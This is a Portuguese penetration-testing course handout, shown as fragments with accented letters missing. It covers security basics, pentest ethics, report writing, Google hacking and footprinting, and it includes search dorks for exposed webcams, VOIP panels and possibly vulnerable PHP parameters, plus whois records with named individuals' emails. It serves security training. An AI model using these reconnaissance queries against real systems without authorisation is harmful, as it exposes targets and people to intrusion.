Académique Documents
Professionnel Documents
Culture Documents
1.1. Objetivos
Fornecer ao aluno uma viso geral sobre segurana da informao Entender a importncia da segurana da informao no mundo de hoje Conhecer as principais ameaas Compreender a terminologia bsica utilizada Conhecer algumas certificaes da rea
Capacidade de manter seguro. Proteo contra a fuga ou escape. Profissional ou servio responsvel pela guarda e proteo de algo. Confiana em si mesmo. Dentro do escopo com relao ao que iremos estudar, os trs primeiros tpicos adequam-se perfeitamente ao que ser abordado ao longo do curso. No entanto, veremos esses aspectos na viso do atacante, aquele que tem por objetivo justamente subverter a segurana. E o que queremos proteger? Vamos analisar o contexto atual em primeiro lugar... Na poca em que os nobres viviam em castelos e possuam feudos, com mo de obra que trabalhavam por eles, entregando-lhes a maior parte de sua produo e ainda pagavam extorsivos importos, qual era o maior bem que possuam? Terras! Isso mesmo, quem tinha maior nmero de terras era mais poderoso e possua mais riqueza. Posto que quanto mais terras, maior a produo recebida das mos dos camponeses que arrendavam as terras de seu suserano. Aps alguns sculos, com o surgimento da Revoluo Industrial, esse panorama muda completamente... Os camponeses deixam os campos e passam a trabalhar nas fbricas, transformando-se em operrios. Quem nunca viu o filme Tempos Modernos de Chaplin? Chaplin ilustra muito bem como era a rotina desses operrios. Nessa fase da histria da civilizao, o maior ativo a mo de obra,
Captulo 1 Introduo Segurana da Informao - 14 juntamente com o capital. Quem tinha o maior nmero de operrios, trabalhando incansavelmente, detinha o poder, pois possua maior capital, gerado pela produo incessante das indstrias. No entanto, como tudo o que cclico e est em constante mudana, o cenrio mundial novamente se altera, inicialmente com o movimento iluminista. O Iluminismo, a partir do sculo XVIII, permeando a Revoluo Industrial, prepara o terreno para a mudana de paradigma que est por vir. Os grandes intelectuais desse movimento tinham como ideal a extenso dos princpios do conhecimento crtico a todos os campos do mundo humano. Supunham poder contribuir para o progresso da humanidade e para a superao dos resduos de tirania e superstio que creditavam ao legado da Idade Mdia. A maior parte dos iluministas associava ainda o ideal de conhecimento crtico tarefa do melhoramento do estado e da sociedade. E com isso, comeamos a ver, atravs de uma grande mudana de paradigma, que a deteno de informaes ou conhecimentos, que tinham algum valor, que define quem tem o poder nas mos ou no. E surge, ento, a era da informao! Com esse acontecimento, inicia-se o surgimento da internet e a globalizao, possibilitando o compartilhamento em massa da informao. Nesse momento no mais a mo de obra, terras, mquinas ou capital que regem a economia e dita quem tem o poder, mas sim a informao, que se torna o principal ativo dessa era. Estamos na era da informao, e nada mais lgico que um corpo de conhecimento fosse criado para dar a devida ateno s anomalias e proteger esse ativo to importante. Essa rea de atuao, que j existia h muito anos, mas agora com tarefas bem mais definidas, com regras e normas a serem seguidas a Segurana da Informao, ou SI.
Captulo 1 Introduo Segurana da Informao - 15 Entendendo esse conceito, no suficiente apenas conhecer as normas existentes e as vrias formas possveis de proteo, mas necessrio tambm conhecer os riscos inerentes e as possveis formas de ataque. De acordo com o maior estrategista que j existiu, Sun Tzu, se voc conhece a si mesmo e ao seu inimigo, no precisar temer o resultado de mil batalhas. Afinal, se conhece os estratagemas empregados por atacantes maliciosos, estar muito mais capacitado para proteger seu principal ativo: a informao.
1.4.3. Basileia II
uma norma da rea financeira, conhecida tambm como Acordo de Capital de Basileia II. Essa norma fixa-se em trs pilares e 25 princpios bsicos sobre contabilidade e superviso bancria.
1.4.4. PCI-DSS
A norma Payment Card Industry Data Security Standard, uma padronizao internacional da rea de segurana de informao definida pelo Payment Card Industry Security Standards Council. Essa norma foi criada para auxiliar as organizaes que processam pagamentos por carto de crdito na preveno de fraudes, atravs de maior controle dos dados e sua exposio.
1.4.5. ITIL
um conjunto de boas prticas para gesto, operao e manuteno de servios de TI, aplicados na infraestrutura. A ITIL busca promover a gesto de TI com foco no cliente no servio, apresentando um conjunto abrangente de processos e procedimentos gerenciais, organizados em disciplinas, com os quais uma organizao pode fazer sua gesto ttica e operacional em vista de alcanar o alinhamento estratgico com os negcios.
1.4.6. COBIT
Do ingls, Control Objectives for Information and related Technology , um guia de boas prticas, como um framework, voltadas para a gesto de TI. Inclui, em sua estrutura de prticas, um framework, controle de objetivos, mapas de auditoria, ferramentas para a sua implementao e um guia com tcnicas de gerenciamento.
Captulo 1 Introduo Segurana da Informao - 17 Aumento do uso de redes e interligao das aplicaes Tudo est conectado atualmente! E quando uma mquina ou sistema comprometido, tudo o que est ao seu redor corre o risco de ser comprometido tambm. Isso demanda uma maior capacidade de gerenciamento do parque computacional, que cresce exponencialmente e muitas vezes de forma desordenada. Diminuio do nvel de conhecimento para a execuo de um ataque avanado Com a facilidade de uso aumentando gradativamente, a necessidade de conhecimento de alto nvel para realizar ataques avanados tambm diminui. Se um adolescente de 12 anos procurar na internet sobre ataques de negao de servio, por exemplo, encontrar ferramentas de simples utilizao e pode facilmente derrubar um grande servidor. Aumento da complexidade para administrao de infraestrutura de
computadores e gerenciamento Quanto maior o parque computacional, mais difcil se torna seu gerenciamento, e disso surgem inmeros problemas graves, de consequncias desastrosas. Com o aumento da complexidade da infraestrutura e, consequentemente, da sobrecarga dos administradores de rede, torna-se cada vez mais difcil gerenciar tudo o que ocorre e monitorar satisfatoriamente o funcionamento da infraestrutura organizacional.
1.6.1. Confidencialidade
Esse pilar o responsvel pelo controle de acesso informao apenas por aquelas pessoas ou entidade que tenham permisso compatvel com sua funo e
1.6.2. Integridade
Aqui, atravs dessa propriedade, determinada a necessidade de garantir que a informao mantenha todas as suas caractersticas originais como determinadas pelo proprietrio da informao.
1.6.3. Disponibilidade
Propriedade que define que determinada informao esteja sempre disponvel para o acesso quando necessrio, de maneia ntegra e fidedigna. Alguns dos ataques conhecidos buscam justamente derrubar a disponibilidade, e para algumas empresas o simples fato de no ter suas informaes disponveis durante determinado perodo de tempo, isso pode acarretar prejuzos estrondosos.
1.6.4. Autenticidade
Propriedade responsvel por garantir que a informao vem da origem informada, permitindo a comunicao segura e garantia de que a informao a qual tem acesso correta e de fonte confivel.
1.6.5. Legalidade
a propriedade que define se determinada informao, ou operao, est de acordo com as leis vigentes no pas. As mesmas leis que regem um pas podem ser completamente diferentes em outro, o que pode ocasionar uma srie de problemas, caso o sistema de gesto no seja adaptvel. Podemos ver na figura a seguir alguns dos distrbios mais comuns aos pilares da SI, vinculados a ataques que visam rea de TI:
O nvel de segurana desejado, pode se consubstanciar em uma poltica de segurana que seguida pela organizao ou pessoa, para garantir que uma vez estabelecidos os princpios, aquele nvel desejado seja perseguido e mantido. de extrema importncia saber equilibrar o nvel de segurana com a funcionalidade e facilidade de uso do sistema, pois o mais importante para a empresa o negcio, e a segurana existe para proteger o negcio da empresa, e no atrapalh-lo.
Captulo 1 Introduo Segurana da Informao - 21 vingana ou participam de alguma ao de espionagem industrial, vendendo as informaes conseguidas para o concorrente. Outro tipo de ataque vindo de insiders, surge de funcionrios
despreparados, que sem o devido conhecimento do funcionamento do sistema, ou das polticas organizacionais, age de maneira errnea, causando o comprometimento do sistema da empresa. Quando vamos analisar os ataques externos, novamente nos deparamos com a possibilidade de comprometimentos cujos objetivos estejam vinculados espionagem industrial, que apesar de ser ilegal, muitas organizaes recorrem a esse expediente para no ficar para trs, na luta pelo domnio de mercado. Outra possibilidade da origem de comprometimentos de sistemas, pode ser a curiosidade ou simplesmente o desafio que representa para um cracker, cujo objetivo de comprometer o sistema, seja basicamente isso: comprometer o sistema e poder dizer que foi ele quem fez isso. Ou ento, o furto de dados que de alguma forma sejam teis para o cracker. Bons exemplos desse tipo de ataques, podem ser encontrados no livro A Arte de Invadir, de autoria de Kevin Mitnick. Exemplo de ameaa: Uma chuva de granizo em alta velocidade Exemplo de vulnerabilidade: Uma sala de equipamentos com janelas de vidro Exemplo de ataque: A chuva de granizo contra as janelas de vidro O risco ser calculado considerando a probabilidade de uma chuva de granizo em alta velocidade ocorrer e atingir a janela de vidro.
Captulo 1 Introduo Segurana da Informao - 22 lgicas. Para cada contexto, temos grupos diferentes de mecanismos que podem ser utilizados.
Captulo 1 Introduo Segurana da Informao - 23 Anti-Spam Os mecanismos lgicos, so barreiras que impedem ou limitam o acesso a informao, que est em ambiente controlado, geralmente eletrnico, e que, de outro modo, ficaria exposta a alterao no autorizada por elemento mal intencionado.
1.10. Certificaes
Na rea de segurana, h muitas certificaes reconhecidas pelo mercado. Sendo que cada ma delas possui um foco diferente, nvel de conhecimento diferente e formas de avaliaes diversas. Abaixo listamos as principais certificaes da rea de SI:
CompTIA Security+ Cisco Systems CCNA Security CCSP CCIE Security EC-Council CEH CHFI ECSA ENSA LPT GIAC GSIF GSEC GCIA GCFW GCFA GCIH GPEN GCUX GCWN GWAPT GAWN GREM GSE ISACA CISA CISM (ISC) CAP CISSP CSSLP ISSAP ISSEP ISSMP SSCP ISECOM OPSA OPST Offensive Security OSCP OSCE Immunity NOP
Dentro do contedo estudado e de acordo com o contexto que estamos estudando, algumas certificaes possuem em sua avaliao muito dos assuntos
Captulo 1 Introduo Segurana da Informao - 25 abordados em aula. Podemos citar, dentre essas, as certificaes: CEH, ECSA, LPT, OPSA, OSCP, GPEN
3 Que tipo de proteo pode ser utilizar para manter a integridade de uma informao que trafega por meios no seguros? ______________________________________________________________________ ______________________________________________________________________
4 Em qual norma podemos nos basear para implantar controles que podem proteger servidores de uma rede? ______________________________________________________________________
2.1. Objetivos:
Fornecer ao aluno uma viso geral sobre testes de invaso Entender a anatomia e os tipos diferentes de ataques Conhecer as fases de um teste de invaso Conhecer as metodologias e os aspectos legais
2.3.5. Tandem
Nessa modalidade o auditor tem total conhecimento sobre o alvo, o alvo sabe que ser atacado e o que ser feito durante o ataque. Tambm conhecido como caixa de cristal. Esse tipo de pen test bem prximo de uma auditoria, pois ambos esto preparados e sabem o que vai ser realizado. o ideal para ser feito periodicamente, monitorando as vulnerabilidades novas e mudanas feitas na infraestrutura.
2.3.6. Reversal
Nessa modalidade o auditor tem conhecimento total do alvo, porm o alvo no sabe que ser atacado, e to pouco sabe quais testes sero executados.
Captulo 2 Introduo ao Teste de Invaso e tica Hacker - 31 Esse formato de teste ideal para testar a capacidade de resposta e como est o timing de ao da equipe de resposta a incidentes do alvo.
Captulo 2 Introduo ao Teste de Invaso e tica Hacker - 32 Empresas Comunidades sociais Empresas do mesmo grupo e etc.
2.4.2. Varredura
Nessa fase o atacante busca informaes mais detalhadas o alvo, que posam permitir definir seus vetores de ataque e enxergar as possibilidades que podem permitir ganhar acesso ao sistema, atravs da explorao de alguma falha encontrada. Aqui buscamos informaes que respondam algumas perguntas, como por exemplo: Qual sistema operacional o alvo utiliza? Quais os servios esto sendo executados no alvo? Quais servios esto disponveis para acesso? Qual a verso de cada servio sendo executado? H IDS/IPS na rede? H honeypots na rede? H firewalls na rede? Existe uma rede interna e outra externa, como uma DMZ? H servios com acesso pblico rodando em alguma mquina? H algum software malicioso j sendo executado em alguma mquina? A partir dessas informaes, o atacante pode buscar maiores detalhes na internet ou fruns especializados em busca de exploits que permitam explorar falhas existentes nas verses dos servios sendo executados.
Captulo 2 Introduo ao Teste de Invaso e tica Hacker - 36 NIST SP800-115 e SP800-42 ISSAF PenTest Frameworks
Nosso treinamento foi feito baseado na metodologia OSSTMM (Open Source Security Testing Methodology Manual), e nessa metodologia as premissas para realizar um teste so: O teste dever ser conduzido exaustivamente O teste deve contemplar todos os itens necessrios O escopo do teste no deve ferir os direitos humanos bsicos Os resultados devem ser quantificveis Os resultados devem ser consistentes Os resultados devem conter apenas o que foi obtido com os testes
Essas so as premissas de um teste de intruso. Ainda em acordo com a OSSTMM, o resultado final deve conter os seguintes tpicos: Data e hora dos testes Tempo de durao dos testes Analistas e pessoas envolvidas Tipo do teste Escopo do teste O resultado da enumerao Margens de erro Qualificao do risco Qualquer tipo de erro ou anomalia desconhecida
Dica: a metodologia OSSTMM voltada mais para testes em sistemas e infraestrutura, apesar de tambm contemplar testes em aplicaes WEB. A metodologia desenvolvida pelo OWASP, j especfica para testes de invaso em aplicaes WEB.
Captulo 2 Introduo ao Teste de Invaso e tica Hacker - 38 A partir da formao da equipe e definio de papis para cada profissional, podemos agendar o teste com o cliente e iniciar o planejamento do mesmo com a equipe em conjunto. Passo 4: Realize o teste; Nesse passo onde o teste efetivamente executado. Lembrando sempre de seguir o que foi acordado com o cliente e respeitar as clusulas do contrato e NDA assinados. Passo 5: Analise os resultados e prepare um relatrio; Todas as informaes coletadas, resultados obtidos e ocorrncias durante a realizao do teste so posteriormente reunidas e analisadas. Os resultados dessas anlises so colocados em um relatrio, contextualizados, e feita a descrio, explicao e possvel soluo para cada falha encontrada e explorada. Passo 6: Entregue o relatrio ao cliente. O relatrio ps-teste, entregue APENAS para a pessoa responsvel pela contratao do teste de invaso, ou definida em contrato. Como as informaes contidas em tal relatrio so extremamente sensveis, deve-se tomar o mximo cuidado possvel para que o mesmo no caia nas mos de pessoas sem autorizao para ter acesso ao mesmo. O ideal que a equipe no guarde nem mesmo uma cpia do relatrio, e isso deve ser definido no NDA e no contrato de servio. Essa medida extrema tomada justamente para evitar qualquer vazamento possvel de informaes.
Captulo 2 Introduo ao Teste de Invaso e tica Hacker - 39 TESTE DE INVASO SEM PERMISSO CRIME! Portanto, tenha sempre um contrato prvio assinado com o cliente, onde sero definidos os seguintes pontos: Limites do teste: at onde pode ir; Horrios: perodos de menor utilizao ou menos crticos; Equipe de suporte: caso haja algum para tomar providncias caso
algum ataque tenha efeitos colaterais; Contatos: ao menos trs contatos, com e-mail, endereo e telefone; Permisso assinada: um documento assinado pelo responsvel pela
empresa, com os nomes das pessoas da equipe autorizadas a realizar os testes. Dentro do que foi acordado, devemos ter o mximo cuidado para no causar comprometimentos que tragam algum tipo de prejuzo ao cliente, como a indisponibilidade de informaes vitais para o funcionamento organizacional, por exemplo. Levando em conta esse aspecto, se possvel, interessante reproduzir o ambiente ataques. Isso evitaria a maior parte dos comprometimentos no planejados infraestrutura do cliente, e pode poupar muita dor de cabea! de testes em mquina virtual para aproximar-se do possvel comportamento do ambiente testado antes de finalmente lanarmos alguns tipos de
Captulo 2 Introduo ao Teste de Invaso e tica Hacker - 40 ______________________________________________________________________ ______________________________________________________________________ 3 Cite algumas publicaes especiais da NIST que poderiam ser utilizadas para a realizao de um teste de invaso. ______________________________________________________________________ ______________________________________________________________________ 4 Quais as fases de um ataque? ______________________________________________________________________
3.1. Objetivos
Entender o que um relatrio Aprender o que deve conter em um relatrio de teste de invaso Desenvolver um modelo bsico de relatrio de teste de invaso
ndice Facilitar a compreenso das sees existentes no relatrio e possibilitar a busca posterior por tpicos especficos constantes no relatrio. Deve ser o mais detalhado possvel.
Classificao do nvel de confidencialidade do documento Nesta seo importante citar novamente o nvel de confidencialidade do
Captulo 3 Escrita de Relatrio - 43 documento, destacando a quem o documento est endereado, com posterior assinatura do representando do contratante e do contratado.
Sumrio executivo No sumrio executivo contextualizamos todo o teste de invaso, definindo os horrios de realizao dos testes, as necessidades do teste de invaso apresentadas pelo contratante, o retorno de investimento que um pen test pode trazer para a empresa e etc.
Definio do escopo Na definio de escopo onde descrevemos o tipo e o nvel do teste realizado, descrevendo o que foi e at onde foi testado. Aqui, nos baseamos nas permisses que recebemos do contratante, de at onde podemos ir e o que podemos fazer.
Definio dos vetores de ataque Aqui entra o mapa mental que criamos com os possveis vetores de ataque e o planejamento para cada possibilidade. Definimos tambm as vrias possibilidades de ataque, classificando-as de acordo com o nvel de facilidade para alcanar o objetivo definido no escopo do teste. Outro aspecto que entra nessa seo so os resultados obtidos com o mapeamento da rede e a definio dos alvos.
Ataques realizados Na definio dos ataques realizados, vrias informaes devem estar contidas nessas definies. So elas: Ferramentas utilizadas
Captulo 3 Escrita de Relatrio - 44 Exploits executados Comandos utilizados Resultados recebidos Classificao das vulnerabilidades por nvel de facilidade de explorao, popularidade, impacto, e tirando a mdia desses 3, informando o risco. Soluo Essa ltima seo onde informamos possveis solues para as
vulnerabilidades encontradas.
4.1. Objetivos
Entender o que Google Hacking Conhecer os riscos que o Google traz Aprender como usar o Google como ferramenta auxiliar para um pentest Conhecer os principais comandos do Google Aprender como encontrar buscas pr-definidas, utilizando o GHD
Esse recurso permite que tenhamos acesso s pginas que j foram tiradas do ar, desde que ainda existam na base de dados do Google. Vamos imaginar que em algum momento da histria do site de uma organizao, uma informao mais sensvel estivesse disponvel. Depois de um tempo, o webmaster tendo sido alertado retirou tal informao do site. No entanto, se a pgina do site j tiver sido indexada pelo Google, possvel que mesmo tendo sido alterada, ou retirada, ainda possamos acess-la utilizando o recurso de cache do Google.
companheiro, que o allinurl, que funciona de maneira idntica e de forma restritiva, exibindo resultados apenas em que todas as strings foram encontradas.
4.3.3. filetype
Busca por um arquivo de determinado tipo. O Google pesquisa mais do que apenas pginas web. possvel pesquisar muitos tipos diferentes de arquivos, incluindo PDF (Adobe Portable Document Format) e Microsoft Office. O operador filetype pode ajud-lo na busca de tipo de arquivos especficos. Mais especificamente, podemos utilizar esse operador para pesquisas de pginas que terminam em uma determinada extenso.
4.3.4. allintext
Localiza uma string dentro do texto de uma pgina. O operador allintext talvez o mais simples de usar, pois realiza a funo de busca mais conhecida como: localize o termo no texto da pgina. Embora este operador possa parecer genrico para ser utilizado, de grande ajuda quando sabe que a string de busca apenas poder ser encontrada no texto da pgina. Utilizar o operador allintext tambm pode servir como um atalho para "encontrar esta string em qualquer lugar, exceto no title, URL e links".
4.3.5. site
Direciona a pesquisa para o contedo de um determinado site. Apesar de ser tecnicamente uma parte da URL, o endereo (ou nome de domnio) de um servidor pode ser mais bem pesquisada com o operador site. Site permite que voc procure apenas as pginas que esto hospedadas em um servidor ou domnio especfico.
4.3.6. link
Busca por links para uma determinada pgina. Em vez de fornecer um termo de pesquisa, o operador necessita de um link URL ou nome do servidor como um argumento.
4.3.7. inanchor
Localiza texto dentro de uma ncora de texto. Este operador pode ser considerado um companheiro para o operador link, uma vez que ambos buscam links. O operado inanchor, no entanto, pesquisa a representao de texto de um link, no o URL atual. Inanchor aceita uma palavra ou expresso como argumento, como
Captulo 4 Google Hacking - 49 inanchor:click ou inanchor:4linux. Este tipo de pesquisa ser til especialmente quando comeamos a estudar formas de buscar relaes entre sites.
4.3.8. daterange
Busca por pginas publicadas dentro de um range de datas. Voc pode usar este operador para localizar pginas indexadas pelo Google em um determinado intervalo de datas. Toda vez que o Google rastreia uma pgina, a data em sua base de dados alterada. Se o Google localizar alguma pgina Web obscura, pode acontecer de index-la apenas uma vez e nunca retornar ela. Se voc achar que suas pesquisas esto entupidas com esses tipos de pginas obscuras, voc pode remov-las de sua pesquisa (e obter resultados mais atualizados) atravs do uso eficaz do operador daterange. Lembrando que a data deve ser informada no formato do calendrio Juliano, informando o nmero de dias existentes entre 4713 AC e a data em que se quer buscar.
4.3.9. cache
Mostra a verso em cache de uma determinada pgina. Como j discutimos, o Google mantm "snapshots" de pginas que indexou e que podemos acessar atravs do link em cache na pgina de resultados de busca. Se quiser ir direto para a verso em cache de uma pgina, sem antes fazer uma consulta ao Google para chegar ao link em cache na pgina de resultados, voc pode simplesmente usar o operador cache em uma consulta, como cache:blackhat.com ou cache:www.netsec.net/content/index.jsp.
4.3.10. info
Mostra contedo existente no sumrio de informaes do Google.
Captulo 4 Google Hacking - 50 O operador info mostra o resumo das informaes de um site e fornece links para outras pesquisas do Google que podem pertencer a este site. O parmetro informado este operador, deve ser uma URL vlida.
4.3.11. related
Mostra sites relacionados. O operador related exibe o que o Google determinou como relacionado a um determinado site. O parmetro para esse operador uma URL vlida. possvel conseguir essa mesma funcionalidade, clicando no link "Similar Pages" a partir de qualquer pgina de resultados de busca, ou usando o "Find pages similar to the page" da pgina do formulrio de pesquisa avanada
Dica: Se voc est realizando um pentest em um site chins, para que usar um google.com.br? O Google prioriza os resultados para determinados websites. Raramente voc v pginas escritas em japons, chins, rabe e outros quando usa o google.com.br, no? Uma boa busca feita em servidores diferentes, com pases diferentes.
4.6. Contramedidas
Possuir uma boa poltica referente s publicaes de informaes na internet. No deixar configuraes padro em servidores web, para que os mesmos no consigam ser identificados facilmente. Sempre analisar as informaes disponveis sobre a empresa em sites de busca. Alertar e treinar os funcionrios da empresa com relao a maneira com que um ataque de engenharia social pode acontecer, e as possveis informaes que o atacante poder usar nesse ataque.
Captulo 4 Google Hacking - 53 Encontrando Webcam ativa "Active Webcam Page" inurl:8080
Asterisk VOIP Flash Interface intitle:"Flash Operator Panel" -ext:php -wiki -cms -inurl:as
Possveis falhas em aplicaes web: allinurl:".php?site=" allinurl:".php?do=" allinurl:".php?content=" allinurl:".php?meio=" allinurl:".php?produto=" allinurl:".php?cat="
5.1. Objetivos
Conhecer os principais meios para coletar informaes sobre o alvo Coletar informaes utilizando ferramentas pblicas Coletar informaes utilizando ferramentas especficas Levantar domnios utilizando consultas pblicas e ferramentas
5.2. Footprint
Footprint a primeira etapa a ser realizada em um teste de intruso. Durante essa etapa, o Pen-tester coleta o mximo de informaes para alimentar a anatomia de ataque. Podemos dizer que a fase em que o Pen-tester se prepara para realizar o ataque. Em mdia, um Pen-tester gasta 70% do tempo analisando um alvo e levantando informaes sobre o mesmo. Apenas 30% do tempo e usado para realizar o ataque e avaliar a possibilidade de um atacante realizar procedimentos ps-invaso na mquina alvo. Quando estamos realizando um footprint, devemos buscar informaes relativas topologia da rede, sistemas operacionais, quantidade de mquinas e localizao fsica. Alm disso, importante tambm descobrir informaes sobre os funcionrios da empresa, como: emails, cargos e tambm funo especfica no ambiente.
"D-me seis horas para cortar uma rvore, e eu gastarei as primeiras quatro horas afiando o machado."
Abraham Lincoln
Captulo 5 Levantamento de Informaes - 56 Um endereo para acompanhar as estatsticas dos servidores E uma lista com tecnologias e fornecedores
No acredita? Ento de uma olhada: Os e-mails so webmaster@kernel.org e ftpadmin@kernel.org http://cacti.kernel.org/graph_view.php?action=preview http://www.kernel.org/powered.html Ainda no encontrou? Ento experimente olhar o cdigo fonte da aplicao! Como vimos, um simples acesso e um pouco de observao no site do alvo pode nos fornecer algumas informaes no mnimo interessantes. Depois de observar um website procura de informaes, o prximo passo pesquisar sobre coisas no to bvias, porm, ainda sim pblicas.
Captulo 5 Levantamento de Informaes - 57 tech-c: nserver: nsstat: nslastaa: nserver: nsstat: nslastaa: created: expires: changed: status: CEADO ns1.4linux.com.br 200.212.122.137 20100616 AA 20100616 ns2.4linux.com.br 66.118.187.158 20100616 AA 20100616 20010518 #569350 20110518 20100525 published
billing-c: RJG43
nic-hdl-br: CEADO person: e-mail: created: changed: Cesar Augusto Domingos cesar.domingos@gmail.com 20070925 20070925
nic-hdl-br: RJG43 person: e-mail: created: changed: Rodolfo Jose Martorano Gobbi adm@4linux.com.br 20040119 20070502
Podemos concluir que com um simples comando, disponvel em praticamente qualquer sistema operacional, foi possvel obter o nome do responsvel pelo domnio, o nome do responsvel tcnico pelo domnio, o nome dos dois servidores de DNS e o CNPJ da empresa, localizado no campo ownerid. Alm da consulta whois em sistemas operacionais, possvel ainda utilizar servios que consultam o a base de dados de proprietrios de domnios atravs de ferramentas web, como o prprio http://registro.br, por exemplo.
Captulo 5 Levantamento de Informaes - 58 https://registro.br/cgi-bin/whois/ Se compararmos a sada do site com a sada do comando whois, veremos que o resultado idntico. importante saber que para cada regio do mundo inteiro, h organizaes responsveis pelo registro de domnios, acima das organizaes responsveis pelos registros em cada pas. No quadro abaixo, temos o nome e o endereo das organizaes responsveis em cada parte do globo pelo gerenciamento e liberao de domnio (incluindo o grupo de IPs) para cada regio:
Os campos MX, e NS fornecem, respectivamente, o nome dos servidores de email e o nome de todos os servidores de DNS.
Captulo 5 Levantamento de Informaes - 59 Com essa consulta, j conseguimos, inclusive, endereos de servidores que utilizaremos em nossa varredura e enumerao de servios.
http://www.archive.org
Com
isso,
podemos
encontrar
informaes
que
podem
ser
teis,
principalmente para ataques de engenharia social, pois encontramos produtos antigos, ex-funcionrios, informaes que foram retiradas do site por serem sensveis e etc. Utilizando esse servio e pesquisando o site da 4Linux, obtemos o seguinte resultado:
5.7. Webspiders
Webspiders so programas que navegam automaticamente por websites para coletar informaes. Pensando no Google, um webspider feito pelo Google navega pelos links das pginas e alimenta uma base de dados do Google, que usada para consultas durante as buscas realizadas pelos usurios. Vamos parar e lembrar como funcionavam antigamente os sistemas de buscas como Yahoo!, Cade?, Aonde.com, dentre outros. Antigamente, ns precisvamos cadastrar os nossos sites e as palavras chave referentes ao site, para ele ser encontrado durante as buscas. Porm, o Google inovou na maneira de alimentar as bases de dados dele, usando webspider. Hoje, basta que um site esteja na internet e linkado para que ele aparea nas bases do Google, sem precisar de nenhum cadastro por parte do criador do site nas ferramentas de buscas. Porm, isso exps muitas informaes e para isso, foram criados os arquivos robots.txt. Um webspider consulta o arquivo robots.txt que est localizado no diretrio raiz do website para saber quais arquivos ele no deve analisar. Portanto, os arquivos ou diretrios que esto listados em um arquivo robots.txt no aparecero nos resultados das buscas realizadas em sites como o Google. Vamos a um exemplo: http://www.4linux.com.br/robots.txt Portanto, os arquivos robots.txt podem revelar para ns informaes sobre arquivos e diretrios que poderamos no conhecer e at mesmo no estar linkado no site. Mais informaes sobre os arquivos robots.txt podem ser obtidas no site http://www.robotstxt.org/orig.html
5.8. Netcraft
Netcraft uma empresa europia que prove servios de internet. Dentro de
Captulo 5 Levantamento de Informaes - 61 alguns servios que ela fornece est a anlise de mercado para empresas de web hosting e servidores web, incluindo deteco do sistema operacional e verso do servidor web, e em alguns casos, informaes sobre uptime do servidor, j que normalmente esse fator determinante na escolha de uma empresa de hospedagem de sites. Para ns, pode ser til para exibir a verso do sistema operacional e servidor web que um determinado host est usando, alm de manter um histrico das verses que o mesmo host j usou anteriormente. Http://www.netcraft.com
Whois : retornar o resultado da consulta entidade responsvel pelos registros de domnio, no nosso caso o registro.br. Conseguiremos nome dos responsveis, telefone, CPF ou CNPJ, endereo, e-mail e etc. Dig : conseguiremos informaes sobre os servidores onde o domnio est hospedado. Teremos o endereo do servidor de domnio e de email, por exemplo. Nslookup : retornar o IP do domnio e o nome do mesmo, incluindo a porta a partir da qual o servidor est respondendo (no caso do DNS, a padro a 53). www.netcraft.com : permite que saibamos qual sistema operacional o servidor est executando com uma proximidade prxima da certeza. Alm disso, conseguiremos o nome do servidor, endereo IP, pas onde o mesmo est localizado, servidor de DNS, e se digitarmos apenas o domnio (4linux.com.br), encontraremos sites relacionados ao mesmo domnio, como webclass.4linux.com.br, por exemplo. www.123people.com : esse site no busca informaes sobre domnio, mas sobre pessoas. Na consulta com o whois obtivemos alguns nomes, e nesse site podemos consultar as referncias na web acerca desse nome (notcias, artigos, postagens relevantes).
Captulo 5 Levantamento de Informaes - 63 Com cada um desses comandos e sites, conseguiremos algumas informaes diferentes, que nos ajudaro na prxima fase de nosso teste.
Captulo 5 Levantamento de Informaes - 64 Date: Hora da criao da mensagem Campos de identificao: Message-ID: Identificador de mensagem nico. Valor nico determinado pelo servidor que transmite a mensagem; In-Reply-To: Usado quando uma mensagem respondida.
Identificador da mensagem respondida; References: Referncias. Campos de informao: Subject: Assunto da mensagem; Comments: Comentrios sobre a mensagem; Keywords: Palavras chaves relacionadas mensagem; Campos de Rastreamento: Return-Path: Caminho de volta da mensagem para o remetente. Esse campo adicionado pelo ltimo MTA que entrega o e-mail ao destinatrio Received: Contm informaes para ajudar na anlise de problemas com a entrega e recebimento das mensagens. Todo e-mail possui pelo menos um campo Received, que adicionado por cada servidor onde a mensagem passa. Usado quando uma mensagem respondida.
O campo que interessa a ns o campo Received:, que contm informaes sobre o endereo IP de onde a mensagem de correio eletrnico partiu.
Na do cabealho sublinha e em negrito, encontramos o IP de quem enviou essa mensagem, no caso o IP 10.151.8.14 . No cabealho podemos encontrar vrios campos Received, pois por cada servidor de e-mail que a mensagem passa adicionado um novo campo. Porm, o endereo de quem enviou a mensagem vai aparecer no campo Received mais baixo, no exemplo acima, o ltimo Received de nosso cabealho, pois cada servidor de e-mail que adiciona esse campo vai colocando sempre acima do primeiro campo adicionado. E como podemos obter o cabealho de um e-mail? No Yahoo! Basta clicarmos em Cabealhos Completos.
5.12. Fingerprint
Fingerprint uma das principais tcnicas de levantamento de informao (footprint) que realizada por um Pen-Tester antes que o mesmo comece a realizar os ataques em seu alvo. A funo dessa tcnica identificar a verso e distribuio do sistema operacional que ir receber a tentativa de intruso. Sendo assim, essa tcnica extremamente importante para que o atacante consiga desenvolver de maneira mais precisa e menos ruidosa seu ataque. Usando essa tcnica o Pen-Tester estar explorando problemas da pilha TCP/IP e verificando caractersticas nicas que permitem que o sistema alvo seja identificado. S depois que isso for feito, podero ser escolhidas as melhores ferramentas para explorar o sistema. Para que o fingerprint apresente resultados confiveis so necessrias anlises complexas, como: Analise de pacotes que trafegam pela rede; Leitura de banners (assinaturas do sistema); Anlise de particularidades da pilha TCP/IP. Para realizar tais anlises, podemos utilizar ferramentas especficas,
Captulo 5 Levantamento de Informaes - 67 tarefas de deteco de sistemas operacionais. Entre os scanners existentes, podemos dividi-los basicamente em dois tipos:
A informao importante est no campo TTL (Time To Live). A maioria dos sistemas operacionais se diferencia pelo valor retornado de TTL. Veja a lista abaixo: Cyclades - Normalmente 30 Linux - Normalmente 64 Windows - Normalmente 128 Cisco - Normalmente 255 Linux + iptables - Normalmente 255
Com o traceroute podemos ver que temos 11 saltos, at que os pacotes so interrompidos, o que pode representar um firewall ou algo do tipo que descarte os pacotes. Agora que sabemos por quantos roteadores estamos passando, podemos usar o comando ping para descobrir o TTL do site.
# ping www.4linux.com.br -c 1 PING www.4linux.com.br (66.118.142.41) 56(84) bytes of data. 64 bytes from 41-142-118-66.reverse.priorityonline.net (66.118.142.41): ttl=49 time=1452 ms --- www.4linux.com.br ping statistics --1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 1452.515/1452.515/1452.515/0.000 ms # icmp_seq=1
